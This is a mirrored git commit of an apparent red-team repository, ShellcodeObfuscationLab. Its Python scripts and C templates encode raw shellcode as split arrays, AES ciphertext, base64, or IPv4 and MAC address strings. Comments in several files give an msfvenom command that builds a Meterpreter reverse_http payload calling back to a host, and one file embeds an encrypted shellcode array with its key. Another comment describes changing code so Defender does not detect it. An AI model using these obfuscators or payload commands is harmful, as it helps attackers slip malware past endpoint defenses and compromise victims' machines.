mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
initial version
This commit is contained in:
Dobin Rutishauser
@@ -0,0 +1,6 @@
|
||||
*_work.c
|
||||
output/
|
||||
__pycache__
|
||||
*.obj
|
||||
.vscode/
|
||||
todo.md
|
||||
@@ -0,0 +1,12 @@
|
||||
# SOL ShellcodeObfuscationLab
|
||||
|
||||
Shellcode obfuscations are based on RedSiege [Chromatophore](https://github.com/RedSiege/Chromatophore/).
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
Use the `x64 native tools command prompt` from Visual Studio
|
||||
so you have access to `ml.exe` and `Windows.h`.
|
||||
|
||||
|
||||
|
||||
BIN
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
# Chromatophore
|
||||
Utilities for obfuscating shellcode
|
||||
@@ -0,0 +1,53 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
char shellcode[PAYLOAD_SIZE] = { 0x00 };
|
||||
int twoArrIdx = 0;
|
||||
int idx = 0;
|
||||
|
||||
while (idx < PAYLOAD_SIZE)
|
||||
{
|
||||
// read from the even array
|
||||
shellcode[idx] = evens[twoArrIdx];
|
||||
|
||||
// odds will be one byte less than evens if PAYLOAD_SIZE is odd
|
||||
if ( twoArrIdx == (int)sizeof(odds) )
|
||||
{
|
||||
// do nothing, otherwise we'll read past the end of our array
|
||||
}
|
||||
else
|
||||
{
|
||||
// read from odd array
|
||||
shellcode[idx+1] = odds[twoArrIdx];
|
||||
|
||||
// increment twoArrIdx to move to the next position in the evens and odds arrays
|
||||
twoArrIdx++;
|
||||
}
|
||||
|
||||
// we've just added two bytes, so we need to shift two positions instead of one
|
||||
idx = idx + 2;
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while ( idx < PAYLOAD_SIZE)
|
||||
{
|
||||
if (idx == (PAYLOAD_SIZE - 1))
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
import sys
|
||||
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
sys.exit("Supplied input file not found!")
|
||||
|
||||
|
||||
def split_list(input_list):
|
||||
even_list = []
|
||||
odd_list = []
|
||||
|
||||
idx = 0
|
||||
for val in input_list:
|
||||
if (idx % 2) == 0:
|
||||
even_list.append(val)
|
||||
else:
|
||||
odd_list.append(val)
|
||||
idx = idx + 1
|
||||
|
||||
return even_list, odd_list
|
||||
|
||||
|
||||
def twoarray(input_file):
|
||||
shellcode = get_raw_sc(input_file)
|
||||
shellcode = list(shellcode)
|
||||
|
||||
evenArray = []
|
||||
oddArray = []
|
||||
evenArray,oddArray = split_list(shellcode)
|
||||
|
||||
ret = ""
|
||||
ret += '#define PAYLOAD_SIZE {0}\n'.format(str(len(shellcode)))
|
||||
ret += 'char evens[{0}] = {{{1}}};\n'.format(str(len(evenArray)),', '.join(hex(x) for x in evenArray))
|
||||
ret += 'char odds[{0}] = {{{1}}};\n'.format(str(len(oddArray)),', '.join(hex(x) for x in oddArray))
|
||||
return ret
|
||||
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
# Notes
|
||||
|
||||
## aes.py
|
||||
Requires either the pycryptodome or pycryptodomex package (`python3 -m pip install pycryptodomex`)
|
||||
|
||||
### Usage
|
||||
`binfile` is a raw binary payload (Cobalt Strike, MSFVenom, etc.)
|
||||
`python aes.py binfile`
|
||||
@@ -0,0 +1,70 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <wincrypt.h>
|
||||
#pragma comment (lib, "crypt32.lib")
|
||||
#pragma comment (lib, "advapi32")
|
||||
|
||||
// compile: cl.exe /nologo /Tcaes.c /link /out:aes.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
|
||||
HCRYPTPROV hProv;
|
||||
HCRYPTHASH hHash;
|
||||
HCRYPTKEY hKey;
|
||||
|
||||
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
|
||||
return -1;
|
||||
}
|
||||
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
|
||||
return -1;
|
||||
}
|
||||
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
|
||||
return -1;
|
||||
}
|
||||
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
|
||||
return -1;
|
||||
}
|
||||
|
||||
CryptReleaseContext(hProv, 0);
|
||||
CryptDestroyHash(hHash);
|
||||
CryptDestroyKey(hKey);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 aes.py met.bin
|
||||
/*
|
||||
char shellcode[] = { 0xee, 0xd5, 0x86, 0x39, 0xa3, 0x5c, 0x1c, 0x99, 0x9b, 0x26, 0xd0, 0xe8, 0x66, 0x2e, 0xe1, 0xc5, 0x3, 0x8e, 0x2c, 0xea, 0x3a, 0x36, 0x99, 0x5a, 0xcc, 0x37, 0xc1, 0xbb, 0x67, 0xcc, 0xb3, 0xed, 0x9d, 0x96, 0x8, 0x84, 0x83, 0xa9, 0xdb, 0x3a, 0x39, 0xe, 0x4e, 0xe0, 0x42, 0x5d, 0x1a, 0x69, 0x3d, 0x4f, 0xa7, 0x67, 0x35, 0xec, 0xaf, 0x11, 0xc, 0x75, 0xc, 0xe2, 0xe6, 0x70, 0x10, 0x28, 0xaa, 0xd1, 0x5c, 0xb6, 0x52, 0xe4, 0xa7, 0xeb, 0xc1, 0xfc, 0x32, 0xe7, 0x69, 0xfd, 0x5e, 0xa6, 0xe6, 0xc6, 0x14, 0x7f, 0x57, 0x42, 0x7f, 0x55, 0x13, 0x63, 0x27, 0x79, 0x43, 0x8f, 0x60, 0x70, 0x3c, 0x9a, 0xe8, 0xd9, 0xfa, 0xd6, 0xf6, 0xea, 0xfc, 0xa6, 0x86, 0x70, 0xd, 0xc8, 0x60, 0x49, 0x13, 0x69, 0xf1, 0xcc, 0x7f, 0x3, 0xbd, 0x42, 0x79, 0x43, 0xa7, 0x73, 0x6d, 0xda, 0x8c, 0xdc, 0x11, 0xd9, 0x3e, 0x90, 0xa2, 0xd7, 0xc9, 0x9d, 0x19, 0x35, 0xc8, 0xc3, 0x58, 0xed, 0x81, 0x64, 0xf7, 0xa6, 0x2d, 0xe0, 0x12, 0x1e, 0xd2, 0x11, 0xc5, 0x9d, 0x71, 0xfb, 0xf0, 0xb2, 0x38, 0x24, 0xa0, 0xd9, 0xcc, 0x59, 0xf6, 0xd5, 0xca, 0x29, 0x45, 0x74, 0xf, 0x5a, 0x99, 0x1e, 0x2, 0x25, 0xf8, 0x3e, 0x96, 0x88, 0x3c, 0x8, 0xf9, 0x81, 0xd9, 0x27, 0x51, 0xa0, 0xf6, 0xec, 0x68, 0x2e, 0xb3, 0x4a, 0xdc, 0xc0, 0x28, 0x8c, 0x70, 0x97, 0x8d, 0xdc, 0xa7, 0x7e, 0x7c, 0x6e, 0xa5, 0x93, 0x51, 0x8, 0xd7, 0xf7, 0x6e, 0xcf, 0xae, 0xa7, 0x7f, 0x5d, 0xce, 0x1, 0xd0, 0xe9, 0x29, 0xdc, 0xc3, 0xf4, 0xfb, 0xf5, 0x30, 0x98, 0x76, 0x57, 0x6e, 0x19, 0x9, 0xc1, 0xdc, 0x57, 0xf2, 0x33, 0x3f, 0x68, 0x5a, 0xd2, 0xbb, 0x5a, 0x40, 0x77, 0x5f, 0x30, 0xf0, 0x7f, 0x24, 0x6f, 0xf7, 0xe3, 0x27, 0x39, 0x3a, 0x82, 0x51, 0xfc, 0x4f, 0x53, 0x87, 0x66, 0xe5, 0xcc, 0xce, 0x51, 0x3e, 0xce, 0x1c, 0xec, 0x12, 0x17, 0x7b, 0x10, 0x3a, 0xdb, 0x70, 0xbd, 0xfe, 0xfb, 0x8e, 0x2a, 0x97, 0x5, 0x44, 0x35, 0x35, 0x1, 0xe2, 0x4a, 0xae, 0xa6, 0xea, 0x51, 0x66, 0x61, 0xfc, 0x74, 0x25, 0x6, 0xb5, 0xb4, 0xc1, 0x89, 0x31, 0xd5, 0x13, 0x95, 0x87, 0x4, 0xe, 0xa5, 0x7b, 0x7c, 0x0, 0x29, 0x5c, 0xcd, 0xfc, 0xea, 0x1b, 0xc6, 0xe1, 0x9d, 0x73, 0xc4, 0x84, 0x15, 0xe6, 0x70, 0x2c, 0x3b, 0x8a, 0xfe, 0x60, 0xd1, 0x10, 0xa5, 0x24, 0x6e, 0xce, 0xc1, 0x3d, 0x81, 0xae, 0xa3, 0xf4, 0x40, 0xa9, 0x2c, 0xd7, 0x6, 0xa4, 0xff, 0x4d, 0x9b, 0xc0, 0x13, 0xb3, 0x17, 0x80, 0x44, 0x23, 0x13, 0xc4, 0xa0, 0x88, 0xfc, 0xbb, 0x9e, 0x67, 0xdb, 0x80, 0x4e, 0x9d, 0xd6, 0x1c, 0x57, 0x9f, 0xdc, 0x4e, 0x26, 0xe4, 0xc8, 0x8c, 0xa9, 0x94, 0xa0, 0xf0, 0x5c, 0xd2, 0xdd, 0x43, 0x85, 0xa, 0xbe, 0x1f, 0x2b, 0xc4, 0xa9, 0x8d, 0x49, 0xfa, 0x71, 0xd, 0x4e, 0x3, 0x17, 0x2b, 0x8, 0x66, 0x6a, 0x36, 0xc2, 0xa4, 0xa4, 0x14, 0xb0, 0x7c, 0xc3, 0x23, 0xa8, 0x4d, 0x52, 0x8b, 0x57, 0x2b, 0x52, 0xa2, 0xed, 0x69, 0x1a, 0x40, 0x90, 0x96, 0x39, 0x1d, 0xde, 0x5e, 0x6e, 0x25, 0x70, 0xa2, 0xeb, 0xb3, 0x7e, 0x5, 0x69, 0x96, 0x94, 0xd7, 0x9b, 0xef, 0xb2, 0xed, 0x3, 0x76, 0xf1, 0xf0, 0x42, 0xb0, 0x8e, 0x41, 0xd2, 0x56, 0x74, 0x40, 0xca, 0xd9, 0x72, 0xef, 0x73, 0xfe, 0xf0, 0xd, 0x48, 0x6c, 0xfb, 0xa2, 0x57, 0xa9, 0xf4, 0x63, 0x43, 0x18, 0x68, 0xd4, 0x59, 0xc6, 0x22, 0xec, 0xa1, 0x62, 0x59, 0x15, 0xfc, 0xf8, 0x3b, 0xb5, 0x38, 0xa3, 0x43, 0x7c, 0xd9, 0xf, 0xa, 0xaf, 0xb1, 0x6d, 0x3f, 0xd5, 0xbe, 0x47, 0x88, 0xb2, 0x1c, 0x4f, 0x13, 0x9e, 0xea, 0xd4, 0x64, 0xe8, 0x57, 0xa0, 0x4, 0x22, 0xbf, 0xf7, 0x97, 0x22, 0x42, 0xb2, 0xd, 0xb9, 0x38, 0xb9, 0x34, 0xa9, 0x1a, 0x43, 0x11, 0x34, 0x91, 0xf3, 0x9c, 0x63, 0x6, 0x5e, 0xf0, 0x80, 0x5c, 0x15, 0x6, 0x70, 0x40, 0x24, 0x7e, 0x6e, 0x92, 0x2a, 0xfd, 0x51, 0xd1, 0x1, 0x18, 0x7a, 0xfb, 0x63, 0x5b, 0x64, 0xd4, 0x99, 0xf8, 0xbc, 0x8d, 0x36, 0x32, 0x31, 0xaf, 0x6a, 0xe3, 0x8f, 0xd8, 0x3e, 0x85, 0x64, 0x64, 0xc, 0x2e, 0x29, 0x67, 0xbb, 0xe3, 0xa9, 0x1e, 0x41, 0x30, 0xd8, 0x29, 0x86, 0x88, 0x98, 0x49 };
|
||||
// Decrypt our payload
|
||||
char AESkey[] = { 0x28, 0xa6, 0x8d, 0x1f, 0xaf, 0xe5, 0x1a, 0xd4, 0x4f, 0x8d, 0x41, 0x55, 0xd3, 0xb4, 0xda, 0xfa };
|
||||
*/
|
||||
|
||||
AESDecrypt((char *) shellcode, sizeof(shellcode), AESkey, sizeof(AESkey));
|
||||
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
# Adapted from SEKTOR7 malware dev courseware
|
||||
# Original author: reenz0h (twitter: @SEKTOR7net)
|
||||
# Reqires pycryptodomex
|
||||
|
||||
import sys
|
||||
from base64 import b64encode
|
||||
from Cryptodome.Cipher import AES
|
||||
from Cryptodome.Util.Padding import pad
|
||||
from Cryptodome.Random import get_random_bytes
|
||||
import hashlib
|
||||
|
||||
# Use this to generate a random key
|
||||
KEY = get_random_bytes(16)
|
||||
|
||||
# Use this KEY to set your own key.
|
||||
# It should probably be 16 characters.
|
||||
# KEY = b'RedSiegeRedSiege'
|
||||
|
||||
def aes(input_file):
|
||||
iv = 16 * b'\x00'
|
||||
cipher = AES.new(hashlib.sha256(KEY).digest(), AES.MODE_CBC, iv)
|
||||
|
||||
try:
|
||||
plaintext = open(input_file, "rb").read()
|
||||
except:
|
||||
print("File argument needed! %s <raw payload file>" % sys.argv[0])
|
||||
sys.exit()
|
||||
|
||||
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
|
||||
|
||||
keystring = 'char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };\n'
|
||||
payloadstring = 'char shellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };'
|
||||
|
||||
return keystring + "\n" + payloadstring
|
||||
|
||||
#print('AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
|
||||
#print('payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
|
||||
@@ -0,0 +1,65 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int b64index(char c) {
|
||||
if (c >= 'A' && c <= 'Z') return c - 'A';
|
||||
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
|
||||
if (c >= '0' && c <= '9') return c - '0' + 52;
|
||||
if (c == '+') return 62;
|
||||
if (c == '/') return 63;
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int base64_decode(const char* input, unsigned char* output) {
|
||||
int len = strlen(input);
|
||||
int out_idx = 0, val = 0, valb = -8;
|
||||
|
||||
for (int i = 0; i < len; i++) {
|
||||
int idx = b64index(input[i]);
|
||||
if (idx == -1) continue;
|
||||
val = (val << 6) + idx;
|
||||
valb += 6;
|
||||
if (valb >= 0) {
|
||||
output[out_idx++] = (val >> valb) & 0xFF;
|
||||
valb -= 8;
|
||||
}
|
||||
}
|
||||
|
||||
return out_idx;
|
||||
}
|
||||
|
||||
|
||||
int main() {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
BYTE* shellcode = (BYTE*)malloc(shellcodeLen);
|
||||
if (!shellcode) {
|
||||
fprintf(stderr, "Memory allocation failed.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
base64_decode(base64, shellcode);
|
||||
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
free(shellcode);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
from base64 import b64encode
|
||||
import sys
|
||||
|
||||
|
||||
def base64(input_file) -> str:
|
||||
try:
|
||||
plaintext = open(input_file, "rb").read()
|
||||
except:
|
||||
print("File argument needed! %s <raw payload file>" % sys.argv[0])
|
||||
sys.exit()
|
||||
|
||||
b64 = b64encode(plaintext).decode('utf-8')
|
||||
|
||||
b64 = 'const char* base64 = "' + b64 + '";\n'
|
||||
b64 += 'DWORD shellcodeLen = ' + str(len(plaintext)) + ';\n'
|
||||
|
||||
return b64
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <wincrypt.h>
|
||||
|
||||
#pragma comment(lib, "Crypt32.lib")
|
||||
|
||||
|
||||
int main() {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
DWORD shellcodeLen = 0;
|
||||
|
||||
// First, get required buffer size
|
||||
CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, NULL, &shellcodeLen, NULL, NULL);
|
||||
|
||||
BYTE* shellcode = (BYTE*)malloc(shellcodeLen);
|
||||
if (!shellcode) {
|
||||
fprintf(stderr, "Memory allocation failed.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (CryptStringToBinaryA(base64, 0, CRYPT_STRING_BASE64, shellcode, &shellcodeLen, NULL, NULL)) {
|
||||
printf("shellcode (%lu bytes):\n", shellcodeLen);
|
||||
fwrite(shellcode, 1, shellcodeLen, stdout);
|
||||
printf("\n");
|
||||
} else {
|
||||
fprintf(stderr, "Decoding failed. Error code: %lu\n", GetLastError());
|
||||
}
|
||||
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
free(shellcode);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
from base64 import b64encode
|
||||
import sys
|
||||
|
||||
|
||||
def base64api(input_file) -> str:
|
||||
try:
|
||||
plaintext = open(input_file, "rb").read()
|
||||
except:
|
||||
print("File argument needed! %s <raw payload file>" % sys.argv[0])
|
||||
sys.exit()
|
||||
|
||||
b64 = b64encode(plaintext).decode('utf-8')
|
||||
|
||||
b64 = 'const char* base64 = "' + b64 + '";\n'
|
||||
|
||||
return b64
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
## Bin2IP
|
||||
A utility for translating a raw shellcode file into IPv4 or IPv6 addresses.
|
||||
|
||||
This script is based on Will Summerhill's IPv4Fuscation-Encrypted generation script. You can find the script [here](https://github.com/wsummerhill/IPv4Fuscation-Encrypted/blob/main/IPv4encrypt-shellcode.py).
|
||||
|
||||
The source code generated by this script is based in part on the [Orca000 HellShell project](https://gitlab.com/ORCA000/hellshell).
|
||||
|
||||
## Background
|
||||
The Hive ransomware group was first observed storing shellcode as IP addresses in March of 2022. You can read SentinelOne's analysis of the technique [here](https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/).
|
||||
|
||||
# References
|
||||
[The Art of Obfuscation - Evading Static Malware Detection](https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f)
|
||||
[Link to Red Siege blog]()
|
||||
@@ -0,0 +1,87 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <ntstatus.h>
|
||||
#include <Ip2string.h>
|
||||
#pragma comment(lib, "Ntdll.lib")
|
||||
|
||||
// read array of shellcode formatted as IPv4 addresses
|
||||
// https://gitlab.com/ORCA000/hellshell/-/blob/main/IPv4Fuscation/Ipv4Fuscation.cpp
|
||||
// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2ipv4.c /link /OUT:bin2ipv4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
// Define our ustring struct
|
||||
struct ustring {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
int DecodeIPv4Fuscation(const char* IPV4[], void * LpBaseAddress, int arrSize) {
|
||||
// Defender will detect this function if we don't do something to change the signature
|
||||
// Write some output to the NULL device
|
||||
FILE* outfile = fopen("nul", "w");
|
||||
|
||||
PCSTR Terminator = NULL;
|
||||
void * LpBaseAddress2 = NULL;
|
||||
NTSTATUS STATUS;
|
||||
int i = 0;
|
||||
|
||||
for (int j = 0; j < arrSize; j++) {
|
||||
LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i);
|
||||
if (RtlIpv4StringToAddressA((PCSTR)IPV4[j], TRUE, &Terminator, LpBaseAddress2) != STATUS_SUCCESS) {
|
||||
printf("[!] RtlIpv4StringToAddressA failed for %s result %x", IPV4[j], STATUS);
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
i = i + 4;
|
||||
fputs("out", outfile);
|
||||
}
|
||||
|
||||
fclose(outfile); // close the decoy file
|
||||
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Shellcode as array of IP Addresses
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 bin2ip.py -v 4 -i met.bin
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// declare a variable for our shellcode size
|
||||
unsigned int shellcode_size = (sizeof(IPv4s) / sizeof(IPv4s[0])) * 4;
|
||||
|
||||
// Declare a buffer for storing our shellcode
|
||||
PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
// Decode IPs and copy into memory
|
||||
if (DecodeIPv4Fuscation(&IPv4s, buffer, sizeof(IPv4s) / sizeof(IPv4s[0])) != 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// create a new struct from the buffer we allocated
|
||||
_data.Buffer = buffer;
|
||||
_data.Length = shellcode_size;
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < _data.Length)
|
||||
{
|
||||
if (idx == (shellcode_size - 1) )
|
||||
{
|
||||
printf("0x%02x ", _data.Buffer[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", _data.Buffer[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
from ipaddress import ip_address
|
||||
"""
|
||||
Convert shellcode into IPv4 addresses
|
||||
Based on: https://github.com/wsummerhill/IPv4Fuscation-Encrypted/blob/main/IPv4encrypt-shellcode.py
|
||||
https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f
|
||||
"""
|
||||
|
||||
|
||||
def get_ips(ip_input, version):
|
||||
ip_string = ("const char* IPv{}s[] = ".format(version) + "{\n")
|
||||
|
||||
if version == "4":
|
||||
ipsPerLine = 5
|
||||
else:
|
||||
ipsPerLine = 2
|
||||
|
||||
for i in range(0, len(ip_input), ipsPerLine):
|
||||
ips_batch = ip_input[i:i + ipsPerLine]
|
||||
ip_string += ' ' + ', '.join(['"{}"'.format(ip) for ip in ips_batch]) + ',\n'
|
||||
|
||||
ip_string = ip_string.rstrip(', \n') # Remove trailing comma and space
|
||||
ip_string += (" };")
|
||||
|
||||
return ip_string
|
||||
|
||||
|
||||
def bin2ip(input_file) -> str:
|
||||
chunk_size = 4 # ipv4
|
||||
|
||||
# Read input shellcode file to get it in IPv4 format
|
||||
raw_ips = []
|
||||
with open(input_file, "rb") as f:
|
||||
chunk = f.read(chunk_size)
|
||||
while chunk:
|
||||
if len(chunk) < chunk_size:
|
||||
padding = chunk_size - len(chunk)
|
||||
chunk = chunk + (b"\x90" * padding)
|
||||
raw_ips.append(str(ip_address(chunk)))
|
||||
break
|
||||
|
||||
raw_ips.append(str(ip_address(chunk)))
|
||||
chunk = f.read(chunk_size)
|
||||
|
||||
ips_string = get_ips(raw_ips, "4")
|
||||
return ips_string
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <ntstatus.h>
|
||||
#include <Ip2string.h>
|
||||
#pragma comment(lib, "Ntdll.lib")
|
||||
|
||||
// read array of shellcode formatted as MAC addresses
|
||||
// https://gitlab.com/ORCA000/hellshell/-/blob/main/MacFuscation/MacFuscation.cpp
|
||||
// https://infosecwriteups.com/the-art-of-obfuscation-evading-static-malware-detection-f4663ae4716f
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcbin2mac.c /link /OUT:bin2mac.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
// Define our ustring struct
|
||||
struct ustring {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
int DecodeMACFuscation(const char* MAC[], void * LpBaseAddress, int arrSize) {
|
||||
PCSTR Terminator = NULL;
|
||||
void * LpBaseAddress2 = NULL;
|
||||
NTSTATUS STATUS;
|
||||
int i = 0;
|
||||
for (int j = 0; j < arrSize; j++) {
|
||||
LpBaseAddress2 = ((ULONG_PTR)LpBaseAddress + i);
|
||||
if (RtlEthernetStringToAddressA((PCSTR)MAC[j], &Terminator, LpBaseAddress2) != STATUS_SUCCESS) {
|
||||
printf("[!] RtlEthernetStringToAddressA failed for %s result %x", MAC[j], STATUS);
|
||||
return 1;
|
||||
}
|
||||
else {
|
||||
i = i + 6;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Shellcode as array of MAC Addresses
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 bin2mac.py -i met.bin
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// declare a variable for our shellcode size
|
||||
unsigned int shellcode_size = (sizeof(MACs) / sizeof(MACs[0])) * 6;
|
||||
printf("shellcode size: %d\n", shellcode_size);
|
||||
printf("size of array: %d\n", sizeof(MACs) / sizeof(MACs[0]));
|
||||
|
||||
// Declare a buffer for storing our shellcode
|
||||
PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
// Decode IPs and copy into memory
|
||||
if (DecodeMACFuscation(&MACs, buffer, sizeof(MACs) / sizeof(MACs[0])) != 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// create a new struct from the buffer we allocated
|
||||
_data.Buffer = buffer;
|
||||
_data.Length = shellcode_size;
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < _data.Length)
|
||||
{
|
||||
if (idx == (shellcode_size - 1) )
|
||||
{
|
||||
printf("0x%02x ", _data.Buffer[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", _data.Buffer[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
from ipaddress import ip_address
|
||||
"""
|
||||
Convert shellcode into MAC addresses
|
||||
Based on: https://github.com/wsummerhill/IPv4Fuscation-Encrypted/blob/main/IPv4encrypt-shellcode.py
|
||||
https://gitlab.com/ORCA000/hellshell/-/blob/main/MacFuscation/MacFuscation.cpp
|
||||
"""
|
||||
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
file_shellcode = file_shellcode.strip()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
exit("\n\nThe input file you specified does not exist! Please specify a valid file path.\nExiting...\n")
|
||||
|
||||
|
||||
def format_MAC(macs):
|
||||
mac_string = ("const char* MACs[] = {\n")
|
||||
macsPerLine = 4
|
||||
|
||||
for i in range(0, len(macs), macsPerLine):
|
||||
macs_batch = macs[i:i + macsPerLine]
|
||||
mac_string += ' \t ' + ', '.join(['"{}"'.format(mac) for mac in macs_batch]) + ',\n'
|
||||
|
||||
mac_string = mac_string.rstrip(', \n') # Remove trailing comma and space
|
||||
mac_string += (" };")
|
||||
|
||||
return mac_string
|
||||
|
||||
|
||||
# Returns: const char* MACs[] = {...};
|
